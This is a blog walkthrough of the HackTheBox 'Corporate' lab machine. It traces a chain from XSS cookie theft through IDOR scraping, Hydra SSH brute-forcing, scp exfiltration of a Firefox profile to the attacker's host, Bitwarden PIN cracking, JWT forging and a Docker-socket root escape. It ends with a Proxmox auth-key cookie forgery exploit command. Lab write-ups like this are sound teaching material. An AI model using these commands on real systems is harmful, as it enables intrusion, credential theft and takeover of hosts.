Adapted from notes taken during the original solve, cleaned up and expanded into a proper walkthrough.

Introduction

Corporate is an Insane-rated Linux machine on HackTheBox. It earns its difficulty rating by chaining together a wide range of techniques across multiple network layers: cross-site scripting, insecure direct object references, VPN pivoting, password brute-forcing, browser forensics, Docker escape, NFS exploitation, and finally a Proxmox authentication bypass using a leaked signing key.

This post is adapted from personal notes I wrote roughly two years ago. I recently revisited them, cleaned them up, and turned them into this walkthrough. My goal is to document the full attack chain at a level of detail that's useful to anyone learning from it without turning it into a copy-paste exploit kit.

Enumeration

Starting with an aggressive Nmap scan against the target:

nmap -A -Pn 10.10.11.246

The scan returned a single open port: 80 (HTTP). The machine is a web-focused box, so the action starts there.

The domain corporate.htb was added to the hosts file to resolve the web application:

sudo echo "10.10.11.246 corporate.htb" | sudo tee -a /etc/hosts

With the main domain resolving, the next step was subdomain discovery using wfuzz and SecLists:

wfuzz -u http://corporate.htb
 -H "Host: FUZZ.corporate.htb" \
 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
 - sc 200,302,403

This revealed a support subdomain, which turned out to be the initial attack surface.

Initial Web Exploitation

XSS via Support Contact Form

The support subdomain exposed a contact/ticket form where users could communicate with support staff. The form accepted user-controlled input that was rendered in a privileged context, making it vulnerable to Stored Cross-Site Scripting (XSS).

By crafting a payload that loaded a remote script and exfiltrated document.cookie to an attacker-controlled listener, it was possible to steal the session cookie of a support agent who processed the ticket.

The payload took advantage of script injection through a URL parameter, appending JavaScript that beaconed back the victim's cookie to a netcat listener. The exact payload is redacted here, but the technique involved:

1. Injecting a <script src=…> tag via a crafted URL parameter. 2. A second script tag that evaluated document.location to send the cookie to an external IP. 3. Encoding spaces as + to bypass basic filtering.

Once the support agent clicked the link, the cookie was received on the listener and could be used to authenticate as that agent.

Authenticated Pivoting

Accessing the People Subdomain

Using the stolen cookie, the people.corporate.htb subdomain became accessible. This internal employee directory exposed several interesting features, including a file sharing function that allowed sharing files with other employees using their email address and a numeric file ID.

Second-Stage Cookie Theft

Before abusing the file sharing function, a second round of XSS was used, this time targeting an employee via the sharing mechanism. The same cookie-stealing technique was reused to capture the session of Candido Hackett, an internal employee.

With Candido's cookie, the file sharing feature was abused by iterating over file IDs using Burp Suite's Intruder. Among the results, one file stood out: a .pdf extension where all others were generic. This file was "Welcome to Corporate 2023 Draft.pdf".

Key Finding: VPN and Birthday Passwords

The PDF revealed that employees are issued VPN access and that their default password follows the pattern:

CorporateStarter<DDMMYYYY>

where the date is the employee's birthday. This became the foundation for credential stuffing.

Internal Discovery

VPN and Internal Network

After connecting to the VPN using the discovered credential convention, the internal network became accessible. A scan of the VPN subnet revealed an SSH server listening at 10.9.0.4:22.

sudo nmap -sS -T4 -p- 10.9.0.0/24

Employee Enumeration via IDOR

The people subdomain was vulnerable to Insecure Direct Object Reference (IDOR). Employee profile pages at /employee/<id> exposed each user's email address and birthday with no access control tied to the ID value.

A Python script was written to scrape the employee directory from ID 5000 to 6000, extract each employee's email prefix and birthday, reformat the birthday as DDMMYYYY, and write a credential list in username:CorporateStarterDDMMYYYY format. The script used the requests library for HTTP and re for parsing the HTML responses.

The output file was then fed into Hydra:

hydra -C userpasswordlist.txt -t 4 ssh://10.9.0.4:22

A valid credential pair was found, and SSH access to the internal workstation was established.

Post-Exploitation

Firefox Profile and Bitwarden

After gaining shell access, an interesting artifact was discovered: a Firefox profile belonging to elwin.jones inside the .mozilla directory. The profile was copied back to the attacking machine using SCP:

scp -r /home/guests/elwin.jones/.mozilla/firefox/tr2cgmb6.default-release \
 user@10.8.0.2:/home/user/temp_package

The profile was loaded into a local Firefox instance via about:profiles. Browsing the history revealed that the user had been researching Bitwarden and had configured it with a 4-digit PIN.

Bitwarden PIN Brute-Force

The Bitwarden extension data was exported from the Firefox profile using moz-idb-edit:

pip install git+https://gitlab.com/ntninja/moz-idb-edit.git

moz-idb-edit - extension "{446900e4–71c2–419f-a6a7-df9c091e268b}" \
 - profile "/path/to/firefox/profile" > data.json

The exported JSON contained the encrypted vault data, including the KDF parameters:

kdfType: 0 (PBKDF2)
kdfIterations: 100000

Using the bitwarden-pin-bruteforce tool, the 4-digit PIN was recovered within seconds, unlocking the vault and exposing a Gitea username and password.

Infrastructure Pivoting

Gitea Access and JWT Secret Leak

The Gitea instance at git.corporate.htb was added to the hosts file and accessed using the credentials from Bitwarden. After exploring the repositories, a commit by Beth Feest in the ourpeople repository was found to contain a leaked JWT_SECRET.

With this secret, it was possible to forge a signed JWT token for any user in the system. A token was generated for an engineer-role user, which unlocked access to sso.corporate.htb/reset-password and allowed resetting that account's password.

The JWT token was crafted using the jsonwebtoken library, signing a user payload with the HS256 algorithm and the leaked secret. The token was then used as the CorporateSSO cookie.

Docker Privilege Escalation on Workstation

With engineer-role access, it was confirmed that the user had Docker socket access. An Alpine Linux filesystem image was downloaded and transferred to the workstation, then imported into Docker and used to mount the host root filesystem:

# Download alpine locally
wget https://github.com/alpinelinux/docker-alpine/raw/97c57449282d97cfa1c0b64669aed9afbf08645a/x86_64/alpine-minirootfs-3.19.0-x86_64.tar.gz

# Transfer it into the workstation
scp alpine-minirootfs-3.19.0-x86_64.tar.gz ward.pfannerstill@10.9.0.4:/tmp

# Import the image
cat /tmp/alpine-minirootfs-3.19.0-x86_64.tar.gz | docker import - alpine

# Mount the host filesystem in the container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

This granted effective root access to the workstation's filesystem.

Privilege Escalation

NFS Mount on the Proxmox Host

A further subnet scan revealed 10.8.0.1 with several ports open, including port 2049 (NFS). Direct mounting was not initially possible from the workstation, but after creating a custom SSH key pair and adding the public key to authorized_keys on the target, SSH access was established to the host.

From there, NFS was successfully mounted:

mkdir /tmp/mount
sudo mount.nfs 10.8.0.1:/ /tmp/mount/ -r -o nolock

Finding the Sysadmin SSH Key

Iterating through the mounted home directories and checking group memberships revealed a user with the sysadmin role. Inside that user's home directory, an RSA private key was found. This key was used to SSH directly into 10.8.0.1 as sysadmin.

Proxmox Backup File — PMG Authentication Bypass

As sysadmin, a backup archive was discovered in /var/backups/:

pve-host-2023_04_15–16_09_46.tar.gz

This file was copied back locally and extracted:

scp -i sysadmin.pem sysadmin@10.8.0.1:/var/backups/pve-host-2023_04_15–16_09_46.tar.gz .

tar -xzvf pve-host-2023_04_15–16_09_46.tar.gz

Inside the archive was authkey.key, the Proxmox private authentication key This is the same key used by Proxmox VE to sign PVEAuthCookie tokens.

The vulnerability here is well-documented: Proxmox VE and Proxmox Mail Gateway store the authentication signing key in a location accessible to sysadmin-level users. Since the key is used to verify tickets rather than just issue them, an attacker who obtains it can forge a valid authentication cookie for any user, including root.

Using a public proof-of-concept exploit (referenced in StarLabs' disclosure on Proxmox multiple vulnerabilities), a forged PVEAuthCookie was generated for root@pam:

python3 exploit.py -k ./authkey.key -t https://10.8.0.1:8006/ -g root@pam

The script signs a timestamped plaintext string using the private key and OpenSSL, base64-encodes the result, and assembles it into a valid Proxmox ticket format. This cookie was then injected into the browser.

Root Access via Proxmox Shell

Navigating to the Proxmox web interface at https://10.8.0.1:8006 and inserting the forged cookie granted full access as root. From the Proxmox node panel, the built-in shell terminal was opened directly, providing a root shell on the underlying host and completing the box.

Key Takeaways

1. Chained XSS with cookie theft remains a highly effective initial access technique when there is an interaction-based support workflow present.
2. IDOR on employee profiles with predictable IDs and no authorization checks can leak enough information to fuel a full credential spray.
3. Default credential patterns based on discoverable personal data (birthdays) are a real-world risk, not just a CTF construct.
4. Browser profiles and password manager data left on compromised workstations are a goldmine during post-exploitation. Always check .mozilla and .config/google-chrome.
5. Docker socket access without root is functionally equivalent to root on the workstation.
6. Proxmox backup files containing authkey.key should be treated as highly sensitive. This specific vulnerability class was disclosed by StarLabs SG in December 2022 and is worth understanding in any environment running Proxmox VE.

Final Thoughts

Corporate is one of the more satisfying Insane boxes on HTB. The difficulty does not come from a single obscure trick but from the length and discipline required to chain many smaller findings together across multiple network segments. Every pivot felt earned, and the Proxmox endgame was a clean reminder that real infrastructure tools can have exploitable trust assumptions baked in.

If you found this walkthrough useful, feel free to connect.

Connect With Me

LinkedIn: https://www.linkedin.com/in/waris-damkham/ Website: https://waris-damkham.netlify.app/